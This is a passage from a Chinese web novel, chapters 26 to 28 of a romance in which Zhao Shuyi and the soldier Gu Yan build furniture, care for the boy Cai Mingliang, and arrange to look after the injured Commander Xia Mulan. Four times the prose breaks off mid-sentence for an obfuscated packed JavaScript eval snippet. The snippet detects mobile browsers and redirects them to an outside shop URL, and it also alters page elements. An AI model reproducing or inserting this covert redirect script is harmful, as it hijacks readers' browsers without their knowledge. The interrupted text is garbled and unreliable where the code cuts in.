赵书宜同意,越早弄越好,“我今晚把草图画出来。” “你别急,晚上光线暗,伤眼睛,慢慢弄也行。” 赵书宜:“我会看着办的,你回去时慢点。” 他把蔡明亮也带走了。 因为还不熟,让孩子跟着赵书宜孩子也不愿意,只能等熟悉点再说了。 赵书宜忍不住感叹,这人是真宠孩子。 草图其实也没什么可画的,这个年代家里的家具无非就是桌子椅子柜子床,能摆得下就行了。 所以赵书宜简单画了一下草图,早早地就睡了。 一觉睡到大天亮。 赵书宜睁眼就听到外面传来锯木头的声音。 锯木头? 顾岩要做家具吗? 赵书宜蹭地从床上坐起来,掀开窗帘一看。 男人穿着军绿色短袖,衣服下摆压在长裤里,哎呀呀,动作间那腰身,那臀,啧啧。 正发呆呢,男人似有所觉突然回头。 四目相对。 赵书宜手比脑子快,一下子就把窗帘放下来了。 等窗帘阻隔了自己的视线,她这才懊恼地敲了敲自己的头。 要不要表现得这么做贼心虚啊? 都被发现了,她也不好再在屋子里藏着,很快收拾好走出了房间。 出了房间就是堂屋,堂屋饭桌上放了早饭,盖着,不知道里面是什么。 这时候顾岩走了过来,说:“吃饭吧,我和小亮都吃过了,帮你买的。” 他说着拿搭在脖子上的毛巾擦了擦汗。 明明他们之间隔了挺远的距离,赵书宜觉得他身上的热意仿佛扑到了自己的身上,让自己也跟着有些热。 她点点头,莫名底气不足道:“好,多谢,我先去洗个脸。” 走出去她才注意到院子里不知什么时候被顾岩搬了许多木头来,他刚刚就是在整理那些木头。 看样子是真要做家具。 “这是?” “你不是说想要一些木箱子做床吗,我想着有时间就试试,不行我们再去找他们做吧。” 赵书宜不疑有他,点点头,“有什么需要帮忙的你就说,我们一起做。” 顾岩嗯了一声。 “我就是想先做出来看看尺寸合不合适,等他们下午送砖过来就可以帮忙一起建卫生间了。” 听到这话,赵书宜动作顿了一下。 “那我们是不是应该请他们吃饭啊,我忘了买菜了。” 赵书宜是真的忘了,一点也没想起来的那种。 啊这…… “没事,我已经买好了两天的,在厨房,你看看行不行,不行我们可以去别家换点。” 赵书宜还真没注意,她赶忙洗漱好,去厨房一看。 东西还真不少。 “我不知道你喜欢吃什么,买了一条鱼,半只鸡,一些鸡蛋和一块肉,还有一些新鲜的蔬菜,你看看还需要什么?” 赵书宜看了看,鱼是一条鲢鱼,还是活的,喂在木桶里应该活不了太久,先吃鱼最好。 除了鱼,其他的菜也都挺新鲜的,真不错。 “我们一般起来得比较早,以后我没有任务的时候我都可以早起买菜,你可以睡醒再起来。” 赵书宜真的要感动了。 太懂她了。 她从前一大早起床伺候一大家子的日子过得够够的了,现在只想好好地休息。 “那就听你的?我可以做午饭,你中午回家吃,我手艺还可以的。” 顾岩点头,“好。” 赵书宜觉得有他这么个生活搭子太棒了,忍不住在他肩膀锤了一下。 “达成共识。” 她那小拳头锤在顾岩的身上就好像一根羽毛拂过似的,轻飘飘的。 “但是你说你要跟我练身手,早上效果最好。” 赵书宜心里退缩,一下陷入两难。 想锻炼也想躺平。 “晚上不行 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16646577|187744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吗?晚上锻炼锻炼就洗澡睡觉,说不定睡得更好。” 顾岩琢磨了一下,一本正经点头,“也可以,我给你制定一个计划。” 退缩加一。 “去吃饭,别饿着。” “哦。” 事已至此,先吃饭吧。 打开盖子看到桌上的早饭,赵书宜沉默了。 一碗豆浆一碗稀饭一根油条一个包子还有鸡蛋。 把她当猪养呢。 看了看乖乖坐在旁边小马扎上玩小木马的蔡明亮,赵书宜喊了一声。 “小亮,快过来,想吃鸡蛋吗?” 小孩黑葡萄一样的眼神看着她,吞咽了一下才摇头,“婶婶吃。” 好吧,她小小年纪已经被叫婶婶了。 赵书宜觉得肯定是顾岩教的。 罢了,入乡随俗。 “婶婶想吃油条,鸡蛋给小亮吃。” 小孩子哪有不喜欢吃的? 结果这小孩起身噔噔噔就跑去找顾岩去了。 怎么的? 鸡蛋要把他吃了? 一大一小不知道说了什么,小亮又很快噔噔噔跑了回来。 “顾叔叔说今天的鸡蛋给婶婶吃,明天给我买两个鸡蛋,叔叔说婶婶可以把豆浆给我喝,其他的吃不完就不吃。” 小小年纪思路还挺清晰的。 赵书宜心都快被孩子萌化了。 从前她其实也是很讨厌小孩的,尤其是小男孩。 所以蔡小月说那些话的时候她虽然觉得对方有些脑子不正常,却也能理解她的动机。 但是如果自己曾经的弟弟是这么个乖巧的小孩,她肯定也会很喜欢自己弟弟的。 赵书宜把豆浆给了孩子。 原本想把鸡蛋也悄悄喂给他,结果小孩很有原则,根本不上当,赵书宜只能自己吃掉了。 最后她把不容易坏掉的油条留了下来,其他的都进了她的肚子,她吃得饱饱的。 吃过饭她便去帮着顾岩收拾那堆木料。 对方看起来不是第一次做,动作很娴熟,赵书宜除了帮忙扶着点也帮不上什么忙,最后搞一身灰。 赵书宜忍不住在手上挠了挠,结果下一刻顾岩把她的手抓了过去。 “你这是过敏了?” 她身上穿着的是一件的确良的长袖衬衫,为了不晒太阳,赵书宜一直任胳膊被遮着,感觉痒了才掀开挠了挠。 看着胳膊上的一点点红,赵书宜也有些怀疑了。 “不会吧?” 她不记得原身有过敏史啊。 顾岩却十分严肃,拉着她就到了房檐下。 赵书宜不想还好,一想还真觉得全身都有点痒。 就在这时,顾岩打了水拧了帕子过来。 赵书宜刚想接过,对方手里的帕子贴在了赵书宜的脖子上。 冰冰凉凉的,让赵书宜一下子就舒服了。 “脖子上也有吗?” “嗯,擦擦,我带你去卫生所看看。” “不用,我打水擦擦就好了。” 赵书宜没想到自己居然会过敏,但是她不怕,灵泉水应该可以轻松解决这个问题。 但是没想到顾岩却十分执着。 “必须去看看,王军医说过敏可大可小,严重可能会要人命的,快擦擦,马上就去。” 见他那么坚持赵书宜也就没再拒绝。 让大夫看看什么原因过敏的也好。 虽然她觉得应该看不出来。 “小亮,我带你赵婶婶去医院,你能不能去隔壁夏婶婶家玩。” 蔡明亮眨了眨眼睛,乖乖点头。 “顾叔叔早点回来。” “乖,肯定回来。” 小孩咧嘴一笑,然后又看向赵书宜,“赵婶婶早点回来。” 赵书宜也忍不住被逗笑了, “赵婶婶回来给你买糖吃。” 蔡明亮被顾岩乖乖牵着送到了隔壁家。 看着一大一小的背影,赵书宜心里有了某种猜测。 隔壁该不会就是他给孩子找的收养人家吧? 26. 她觉得很危险。 赵书宜并不是个心里藏不住事的人。 而且她觉得小亮的事情应该不是什么秘密,所以等走在路上她就问出了自己的疑惑。 顾岩并没有因为她猜中自己的心思而感到惊讶。 “也不只是他们家,我找了好几家人,暂时还在考虑当中。” “不知道能不能问,陶团长,他们夫妻是没办法生育吗?” 顾岩摇头,“我不确定,假如你是夏连长你会怎么选择?” 赵书宜很快有了答案。 “都决定要分开了,当然不可能和他生孩子。” “没错,而且王军医说夏连长这样下去,生孩子对她来说是一件很危险的事情。” 怀孕不是说男女结合了就可以的,母体孕育还需要其他的很多条件,一直瘫痪在床的话确实很危险。 “所以陶团长也不愿意生。” 估计两人连夫妻生活都不会有。 赵书宜明白了这件事情的困难在哪里。 “夏连长不一定愿意收养孩子。” 夏连长如今的情况她可能根本不愿意与人接触。 她可能会觉得孩子到了她的身边就是去吃苦的。 “对,所以我还在跟他们商量。”这件事情显然也让顾岩有些伤脑筋,每次说起来他就有点兴致不高。 “你放心,我会按照约定,尽早解决这件事情的。” “我不急,其实你就算收养小亮我都没有意见,我那天说过了,我愿意为那些英雄做一些力所能及的事情,只要你不是那种随意纵容孩子的人。” 现在顾岩算是在帮她渡过难关,她付出一点也不是不行,大不了十年后一拍两散。 顾岩沉默,看她的眼神稍显奇怪,像是在探究她说的是不是事实。 赵书宜没注意到他隐藏下来的一丝丝情绪。 “你可能不太了解我,我虽然不是个会受气的人,但也从来不会主动去招惹别人,更不会主动去欺负一个孩子。” 她都很想说自己没想跟他生孩子,就更别提会因为自己的孩子对一个可怜孩子不好了。 但她自觉这话不能说。 “我不是怀疑你,我只是不确定我能做一个教好孩子的父亲,所以我暂时不想收养他,不是你的原因。” 他重复了一遍,“是我的原因。” “快走吧,你不难受吗?” 他不说赵书宜都没想起来,一提她就感觉自己脖子痒起来。 赵书宜下意识就想挠,被他一把抓住。 “别挠,马上就到了。” 赵书宜能感觉得出来他在转移话题。 她想了想书中提到的和原身记忆里有关顾岩的事情。 好像提到的更多的是他的爷爷,而不是他的父母。 自己来这里两天了,也没听他提起过自己的家人。 难不成是他的原生家庭有什么问题? 赵书宜当然没有多问,本来也不熟,对方想说肯定自己就说了。 她也没有必要去劝说对方养孩子。 以对方对孩子的重视程度来看他肯定也会好好为孩子选个收养家庭的。 自己就不用操心了。 两人很快到了卫生所。 王军医看到他们两人,有些惊讶。 “孩子怎么样了?” “孩子挺好的,王军医你给书宜看看,她也过敏了。” 王军医眉头一皱,面色凝重起来,“孩子传染的?” “不是不是。”赵书宜连连摆手,这要是误会了孩子可不好,“是我自己刚才跟他一起刨木头,然后就痒起来了。” 王军医松一口气,搭了一下脉,又问她吃了什么,这才道:“那孩子应该是吃了花生过敏的,但是过敏的话不一定只对一种东西过敏,所以以后给他做吃的一定要注意一点。” “那书宜呢?”顾岩有些紧张地问。 王军医弯了弯唇,“我看没什么问题,就是皮肤太嫩了,木屑引起的瘙痒,刚从北方来我们这地方,水土不服也是有的,尽量保持干爽清洁没什么问题。” 大夫甚至没给开药。 赵书宜:“谢谢王军医。” 其实她自己也觉得好像没什么太大问题。 从前她患过荨麻疹,那种过敏的痒和现在的痒是不一样的。 不是过敏她也就放心了。 那种感觉谁尝谁知道。 真的很痛苦。 顾岩视线扫过她本该白皙的脖颈,现在染上一片红,皱眉问:“那她现在痒不用涂药吃药什么的吗?” 王军医摆摆手,“不用,是药三分毒,回去拿块香皂好好洗洗就好了,别沾那些木屑什么的。” 两人怎么来又怎么回了。 没有拿到药顾岩跟有些遗憾似的,他一直沉着一张脸。 “你不会生气了吧,其实我也不是很娇气的,可能就是因为水土不服。” 然后顾岩看向她时表情更不好看了。 “我为什么要怪你,我只是觉得……我们现在的条件还是太差了点,让你受苦了。” 爷爷千叮咛万嘱咐,赵书宜是赵家的宝贝疙瘩,让他一定要宠着。 他只是在思考自己做得到底对不对。 她这么柔弱,他真的要让她去照顾一个病人吗? 可是她似乎很坚定。 “没有的事,你说得我好像在家就是个什么都不干的废物。” 赵书宜又想到四月份的事。 “之前你来我之所以那样是因为我不想跟你结婚,为了把你吓走,其实那不是我的真面目。” 当时原身收了许晚夏的挑唆,对顾岩的态度真的不算好。 比她平常还会娇纵一些,赵书宜觉得自己有必要解释一下。 谁知顾岩突然问:“那你说你喜欢那位高同志的事情……” “那当然也是假的!” 赵书宜回答得十分干脆。 男人不管是不是真心喜欢,对自己的女人总是有奇怪的占有欲。 为了以后平静的生活,她必须摆出自己的态度。 之前她其实也是跟顾岩说过京市的事情的,但没把自己受人挑唆的事情告诉他。 “当时我不想嫁你是不想离开父母,所以我才拿高志云当挡箭牌的,当时……有人劝我这么做,我以为他们是对我好。” 听她这么说顾岩心里又有些庆幸,庆幸她来找了自己。 如今京市局势那么严峻,她一个姑娘家哪怕没有和自己父母一起遭难,恐怕也落不着什么好。 “我会对你好的。” 顾岩冷不丁来这么一句,赵书宜居然从他语气里听出点缱绻的意味。 她觉得很危险。 一个各个方面都符合自己胃口的男人天天杵在自己面前还对自己特别好,这很难不心动吧? 但她又习惯性谨慎,遇上渣男可是一辈子的事。 最后很多话想说都没说。 气氛莫名安静,这条回家的路似乎都变长了。 “一会儿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16651288|187744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我去接小亮吧,也去拜访一下夏连长。” 顾岩想了一下才说:“我陪你去。” 看他如临大敌的样子,赵书宜有点好笑,“看你这样子不知道还以为夏连长能把我吃了。” “别胡说,不过你还是小心一点。” “好,我知道了,你放心吧。” 有了话题终于不尴尬了。 两人先没急着去接人,既然要拜访,当然得送礼。 “我做点好吃的拿过去吧。” 眼看着就要中午了,正好给对方送点好吃的。 “行,你要做什么,我来帮忙。”顾岩走在赵书宜的身边,进了院子他直接把赵书宜拦在了那堆木头的另一侧。 “这些木头你就别靠近了,我收拾收拾不做了。” 赵书宜一惊,“别,到时候人家说我矫情,你做吧,我不碰就是了。” 也真是……她自己都不知道说什么好。 她居然会有一天因为皮肤太嫩而不能干活。 说出来谁信啊? 顾岩想了想没拒绝她的提议,但也没急着做箱子,而是趁着赵书宜热水回房擦洗的时候,他也在小房间里擦了擦。 两人洗漱好,他便也跟着进厨房开始帮忙。 “以后烧柴的活也我来干,我不在你就去食堂吃好了。” “顾岩同志,我真没那么娇弱,昨天我不是也做饭了吗,我还烧水洗澡了,肯定就是水土不服,你不能限制我的自由。” 最后这话让顾岩没话说了。 他没那意思,不想让赵书宜误会。 想了好一会儿,他才说:“那你小心一点,如果不舒服一定要及时去看大夫。” 赵书宜知道对方是对自己好,冲他笑得很甜,“你放心吧,论娇气,我肯定胜过你,不会让自己受委屈的。” 听她这么说顾岩还是没有太放心。 但到底没再多唠叨。 是的。 相处久了赵书宜发现顾岩还挺唠叨的。 但一想对方已经快三十的人,考虑得多一点似乎也是正常的。 她并不觉得讨厌。 被人关心怎么会讨厌呢? 她唯一担心的是这份关心不是属于自己,哪天又被收回去。 曾经她也是父母宠爱的女儿,可后来有了弟弟,她就必须学会做一个姐姐,一个会宠弟弟的姐姐。 至于其他的身份似乎都不重要了。 所以别人的关心听听可以,她也可以回报给别人。 但可千万不能觉得理所当然,也不能深陷其中,免得无法自拔。 想通后赵书宜脸上一直噙着笑容,珍惜当下就好。 未来的事情,以后再说吧。 她今天中午准备做一道鱼,再炖一个鸡汤,煮出来的鸡肉下午可以凉拌,再炒点素菜就完工了。 赵书宜做饭的时候顾岩一直在旁边盯着。 她挽起半截袖子,露出胳膊,原本光洁的胳膊上彼时还有点红印,但她似乎一点也没在意。 刮鱼鳞,剁鸡肉,手脚麻利好像经常做。 顾岩看得有些晃神,他甚至觉得在厨房忙碌的赵书宜像是身上在发光。 “哎呀!”赵书宜一声轻呼拉回顾岩的思绪,他蹭地冲到赵书宜的面前。 “怎么了,切到手了吗?” 赵书宜莫名被抓住手,愣了愣一时间没反应过来。 “没,我……”过来一会儿她才说,“我的袖子滚下去了,你帮我挽一下吧。” 27. 算他会说话。 顾岩的手指温度很高,他的指腹上带着薄茧,有点刺人,接触到赵书宜的皮肤时让赵书宜有种被烫了的感觉。 赵书宜专注自己手上,没注意到男人动作间红透了的耳朵。 见他弄好,赵书宜连忙说了句多谢便继续做饭了。 大约又过了半个小时,香味就从厨房飘了出去。 鸡汤是她用灵泉水炖的,香味简直馋死人。 闻着味道赵书宜都有些心虚了,万一给人喝下去就产生了医学奇迹怎么办? 想来应该是不会的,因为之前她给爸妈也喝过没有稀释的,他们只觉得甜,看起来也只是精神一点,应该不会有过于恐怖的效果。 做都做了,赵书宜也不是杞人忧天的性子,她决定直接给人送过去。 顾岩帮忙端着,也忍不住吸了吸鼻子。 “真香啊,没想到你手艺这么好。” 赵书宜臭屁了一下,“没想到吧,要是按你对我的固定思维,我就说我不会做饭你也不会怀疑,到时候活全让你一个人干。” 顾岩脸上扬起一丝笑意,同时却在心底生起一丝愧疚。 是他小看人了。 “以后我还是会和你一起做的。” 一起做,不是帮她做。 算他会说话。 两人一起来到隔壁,正好陶源也打了饭回来,看到他们送饭脸上露出疑惑。 “陶团长,我想去拜访一下夏连长,可以吗?” 赵书宜站在顾岩旁边大方得体,不管怎么说陶团长都不应该拒绝的,但他却也没有直接答应,而是说道:“我去问问她。” 两人自然应下,就在门口等着也没进去。 陶团长抱歉颔首后很快进了屋,他们在外面完全听不到声音。 赵书宜放了点心,至少证明夏连长没有发火。 果然,过了一会儿他抱着小亮出来了,“进来吧。” 几人一同进去,刚到堂屋门口已经闻到了一股浓浓的药味,但是除了药味房间里却并不算难闻,这说明陶团长真的把夏连长照顾得很好。 原本赵书宜以为自己可能会见到一张十分憔悴的脸,没想到坐在床上的女人虽然消瘦,却很精神。 只是她右脸下方到脖子都有比较严重的疤痕,看起来像是烧伤。 她盖着被子冲赵书宜微微颔首。 如果不说,没人能猜到她被子底下的腿是怎么样的。 自己要如何才能帮她呢? 压下心中的想法,赵书宜露出笑容。 “这就是嫂子吧,我初来乍到昨天太忙了没能来拜访还让你帮我们带孩子,实在不好意思。” 赵书宜说着让顾岩把饭菜摆到旁边小桌子上。 “我做了点菜,您别嫌弃。” 夏连长一直看着她,眼底并没有什么波动。 突然,她开口,问:“听说你想要来照顾我?” 赵书宜一愣,没想到对方会如此直球,她都没能反应过来。 所幸她是想过这个问题的答案的,于是点了点头,“是,不瞒嫂子,我其实有点不太擅长与人交流,也不是很想出去工作,但我怕大家说我资本主义作风。” “我们两家挨得近,我甚至可以随时回家,这个工作会让我很有安全感。” 赵书宜似乎有些局促地摸了摸自己的脸,说:“就是不知道嫂子是想要什么人照顾,我可以先试试,我们磨合一下,都不勉强,你觉得行吗?” 不管是谁来这都不一定完全相信赵书宜说的话,但人生有的时候就是要懒得糊涂,自己找到了理由,如果是对方需要的理由,想来也就没什么问题。 “您可以考虑一下,可以先尝尝我做的美食,万一被我的手艺征服了呢。” 夏木兰垂眼笑了一声,笑声里带着凄楚。 “可一点也看不出来你不擅长与人交流。” 额…… 其实赵书宜是真不擅长,也不喜欢,她有点社恐,但基本的交流能力还是有的,而且她会装,一般人看不出她不愿意与人交流。 她想解释一下,却又听夏木兰道:“你们先回去吃饭吧,一会儿菜凉了,孩子也饿了。” “晚点再说。” 都下逐客令了,赵书宜两人也没留下来的理由。 等走回自家院子赵书宜才抚了抚胸口,“有点吓人。” 顾岩抱着小亮有些好笑道:“不用担心,我感觉夏连长没拒绝应该就是答应,她挺喜欢你的。” “真的?”赵书宜完全没有把握。 她干了什么? 她好像什么都没有做吧。 难不成真是被她的美食香味所俘获吗? 不知道夏连长有没有被俘获,反正顾岩和蔡明亮小朋友是被俘获了。 两个人一人喝了两碗鸡汤,把菜也差不多都吃干净了。 当然了,主力军还是顾岩同志。 小孩喝两碗汤就饱了。 “真好吃,你的手艺真的很好,明天吃什么,我明早一早去买。” 每每收到吃客的赞扬时厨师是最高兴的。 赵书宜想了想问:“明早你能不能叫上我一起,顺便我们跑步过去吧,锻炼锻炼。” 顾岩诧异,“你确定?我都可以,就怕吵着你睡觉。” 赵书宜也有点怕,但是她可以在空间睡个够再出来啊,其实应该也可以克服的。 主要是能和对方培养感情,还能锻炼一下原身这脆皮身体,还能自己选到菜,是个划算的买卖。 “我确定,叫我。” 看她坚定得像要入.党的样子,顾岩乐了。 “行,我明天准时过来喊你,买菜回来你再睡回笼觉,我会给你带早饭回来。” “不用,早饭我自己做吧。” 既然决定要照顾夏连长,她觉得得渗入对方的生活。 准确地说是让灵泉水渗入对方的生活。 顾岩自然是没什么意见。 “你想睡就睡,想做就做,都可以,别累着自己就行。”他一边收碗一边像是无意识地说出这样的话。 其实最初赵书宜还怀疑他有没有演的成分,现在看来应该是自己想太多了。 顾岩收了碗去洗,赵书宜看着头一点一点的蔡明亮就领着孩子进屋睡觉。 小孩也不知是不是昨晚没睡好,一躺上床没一会儿就睡着了。 赵书宜看着小孩子的睡颜也有点打哈欠,干脆躺在旁边一起睡了过去。 等顾岩洗碗回来一看屋里一大一小睡得正香,他上前帮两人盖了一个小被子,这才关门走了出去。 也不知道睡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16655673|187744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了多久,赵书宜醒来时人都有些懵,一转眼对上一双可爱大眼睛还吓一跳。 “醒了?” 蔡明亮点了点脑袋,见赵书宜起来他也坐了起来。 “饿了没?” 他摸摸小肚子,继续点脑袋。 赵书宜起身牵着小孩出去,“姐姐给你蒸蛋吃。”赵书宜下意识拒绝婶婶称呼。 她一早就想好了,小孩子喝两碗汤肯定会饿,蒸个蛋吃最好,也不影响一会儿吃晚饭。 两人出去时,外面院子里堆了不少的砖头。 而顾岩还坐在那捣鼓木头,看起来已经做出箱子来了。 蔡明亮一看到顾岩就欢腾起来,激动地要往顾岩身边凑。 赵书宜被他拉着,也跟着往院子里去。 “别过来,站住!” 他喊一声,把两人瞌睡都吓醒了。 “这儿脏,别过来,一会儿又不舒服了。” 想到上午痒的那个那个劲儿,赵书宜老实了,拉着蔡明亮,也不让他靠过去。 这小孩虽然在蔡家受了苦,但孩子就是孩子,皮肤还是很娇嫩的。 “别过去,一会儿弄到身上不舒服。” 谁知道一直特别听话的蔡明亮这次却像头牛似的特别倔,根本不听赵书宜的劝,拉都拉不动。 “行行行,我不拉你了,站稳,别拽。” 真怕熊孩子一会儿摔个大马趴。 她一说,孩子果然老实了,还是听话的嘛。 见他这样,顾岩也很无奈,但他半点没生气,蹲下身来询问蔡明亮想做什么,耐心十足。 一看就是个会溺爱孩子的爸爸。 蔡明亮似乎是有什么话想跟顾岩说,还悄悄地凑到了顾岩的耳朵边。 赵书宜又好气又好笑。 顾岩明显也有些无奈,听了以后轻笑两声,结果被孩子一下子捂住了嘴。 “我不说我不说。” 他冲赵书宜眨眨眼,“我跟小亮出去一趟,很快就回来,喝水喝太多了。” 一开始赵书宜还有点懵,听到最后一句话才反应过来。 害。 搞半天是想去厕所了。 赵书宜也忍不住乐,这小孩可真有意思。 她笑笑进了厨房,眼看着时间也差不多了,该做晚饭了。 两人也没去多久,很快就回来了。 回来蔡明亮又恢复正常了,不过还是不怎么说话。 赵书宜把蒸好的鸡蛋羹递给他,“慢慢吃,别烫着嘴。” 顾岩帮孩子准备了一个小马扎让他坐在小马扎上慢慢吃。 那耐心的样子一般父亲都做不出来。 要不是看这孩子和蔡小月有几分相像,她就要以为孩子是顾岩的私生子了。 他明明挺喜欢孩子的,可为什么要说他做不好一个父亲呢? 赵书宜到底没多问。 “不是说今天他们要来帮忙吗,怎么没来,要做大家的饭吗?” 顾岩说:“我想了一下,还是先把那个柜子弄好再铺地,我尽量今天就弄好,明天让他们留下吃饭,我们一起去买菜。” 赵书宜点头,“好,但是也不用着急,你把自己累着。” 顾岩望向她,眼神不自觉温柔。 “我知道的。” 28. 大家都有美好的未来。 晚上只三个人吃,他们就只做了凉拌鸡肉和一个素菜,依旧吃得很香。 顾岩是彻底被赵书宜的厨艺折服了。 其实赵书宜自己也很惊讶。 她觉得好像是自己从前的厨艺和原身的厨艺叠加形成了一加一等于二的效果,再加灵泉水,确实很不得了。 正好,她自己就是个馋嘴的。 亏了什么不能亏了自己的肚子。 吃过饭顾岩继续劳动,他生怕赵书宜沾上那些木屑,院子成了赵书宜的禁区,赵书宜只得坐在院子旁拉着蔡明亮教他写字。 这孩子还没开始上学,对上学有着无尽的热情。 赵书宜也乐在其中。 陶源站在门口,看到他们一家三口似的,抿了一下唇,才敲了敲院门。 两人聊了几句,又把赵书宜喊了过去。 不出所料,夏木兰同意了赵书宜去照顾她。 也不用她一直待在他们家里,每两个小时过去看一看就行了,顺便给他们家做一下饭。 “赵书宜同志,我们可以给你每个月加饭钱三十块,你看可以吗?” 赵书宜有些惊讶,要知道以这个年代的物价,三十块是妥妥的高工资了。 虽然和她父母不能比,但她父母那可是掌握着技术的高科技人员,是国家稀缺人才,而她去照顾夏木兰,说好听了也只是个看护人员。 不过她觉得他们定下这么多的钱肯定是经过考量的。 赵书宜没有拒绝。 “行,你们放心,我肯定不会让你们的钱打水漂的。” 他们为人确实敞亮,不枉自己想用灵泉水帮助他们。 “好,那我这就去申请一下,争取让部队也给你一点补助,你也不用急,你们结婚之后再开始也可以。” “行,到时候我跟你说,这几天我做饭可以给你们送一些,反正就是多两双筷子的事。” 陶源有点不好意思,但还是硬着头皮应了下来。 “那就多谢了,不瞒弟妹,我媳妇她确实喜欢你做的菜,我已经很久没见她吃这么多东西了。” “没事没事,我很敬佩夏连长,希望她能越来越好,你们家也越来越好。” 陶源眼睛里仿佛进了沙子,他抿着唇很认真地点头。 “我会把你的话告诉他,你们也要越来越好。” 他拍拍顾岩的胳膊,“那我先回去了。” 他们家里现在就他一个人忙,肯定有很多事,两人也忙就没多留。 等人走了,顾岩说:“谢谢你,书宜,你真是帮了他们很大的忙。” 夏连长从来不缺人照顾,但是她很不配合。 不配合的原因所有人都能猜到。 别人对她不耐烦。 她都成现在这个样子了,难道还要受那些人的气吗? 她确实是给陶团长带来了麻烦,可她却没有对不起其他任何人。 可赵书宜不同,赵书宜虽然也在哄她,但是不是真心为她好,她不是看不出来。 所以她也愿意给出三十块的高价。 赵书宜想到这事,问:“三十块的事情要是被别人知道了是不是又有话要说了,你觉得我应该要这三十块钱吗?” 顾岩没想到她还在纠结这个,笑了一下。 “刚才见你那么干脆的应下还以为你已经想得很清楚了,没想到你也没确定。” “我是想着他们肯定是商量过的,也应该不会从这方面耍心眼,他们给再多,我都可以做成更好的食物让夏连长吃得舒服一点,但我没想我们啊。” “没事,正如你所说,他们既然提了这么多就是有考量的。”顾岩下意识想抬手摸摸赵书宜的头,可抬起手看到满手的灰,他又把手收了回去。 “你拿下他们安心,也是你付出劳动应得的,但是在外人面前确实不能这么说,那是私底下的报酬。” “晚点我再跟他们商量一下细节,你放心去做你想做的事情就好。” 赵书宜眨了眨眼,哦了一声,又回去找蔡明亮小朋友去了。 刚才顾岩的动作她也注意到了。 他是想要摸自己的头吧,那动作几乎是下意识的。 这…… 很难让人不多想。 赵书宜心跳得飞快,都没太注意他后面说的话。 不过倒是确定了一件事,三十块钱可以收。 “哎呀,小亮写得真漂亮,如果这个横能写平一点就更好看了。” 院子里,顾岩看着似乎是有些落荒而逃的赵书宜,摩挲了一下自己的手指,继续开始干活。 他拼命的干,天黑的时候已经做出了两个箱子。 按照他们的想法,大概六个箱子就可以达到他们想要的效果。 做好后顾岩还爬上去踩了踩,确定还是很稳当的。 “明天再做吧,晚上早点回去休息。” “我想再做会儿,麻烦你烧点水给小亮洗澡可以吗,他可以自己洗。” 知道他大概是忙,赵书宜同意了。 “光线暗,你小心一点,别伤到手。”她又嘱咐。 钉子什么的砸到手上,那可不是小事。 顾岩应下便开始继续忙活,这时候的灯实在是暗得不行,赵书宜烧火时都有点看不清。 不过能有电灯,已然是很不错的条件了。 她知道这年头很多地方都还没能通上电。 人还是得知足,要是总是和比不上的比,真是得累死了。 赵书宜让孩子洗了澡,自己也洗了一个,等出来顾岩又做好两个。 其实他已经把零件都做出来了,现在就是组装。 “要不明天再做吧,看得见吗?” 院子里靠的是房檐下的灯,更暗。 赵书宜把油灯给他提过去,立马被他阻止。 “别过来别过来,我身上太脏了。” “我现在就回去,明天再过来,明天一早我就把这弄了。” 赵书宜想到满院子的木屑也停了脚步。 “我给你烧了水,你洗了再回去,孩子已经睡了,就让他在这儿睡吧。” 顾岩想了想,“我怕他半夜做噩梦,我带回去,你等我一下,我很快。” 赵书宜脑子里的颜色雷达一下子就响了,噗嗤一下就笑出声来。 “好,你去吧,不急,我下午睡了觉还不困。” 顾岩完全看不懂赵书宜在笑什么,但心里莫名有种不好的预感。 可他从来也不是个刨根问底的人,于是也没多问,老实洗澡去了。 也不知道是不是赵书宜刚洗过澡的缘故,他靠近她时能够闻到从她身上传出来的淡淡香气,这让顾岩神思多少有些恍惚。 部队里的男人大多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16664189|187744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都是有点糙的。 洗澡吃饭都特别快。 顾岩很快就洗好了。 他也拿了几件衣服过来,换上衣服闻了闻,除了一股很淡的肥皂味啥也没有,跟赵书宜身上的味道差远了。 也不知道对方会不会嫌弃自己。 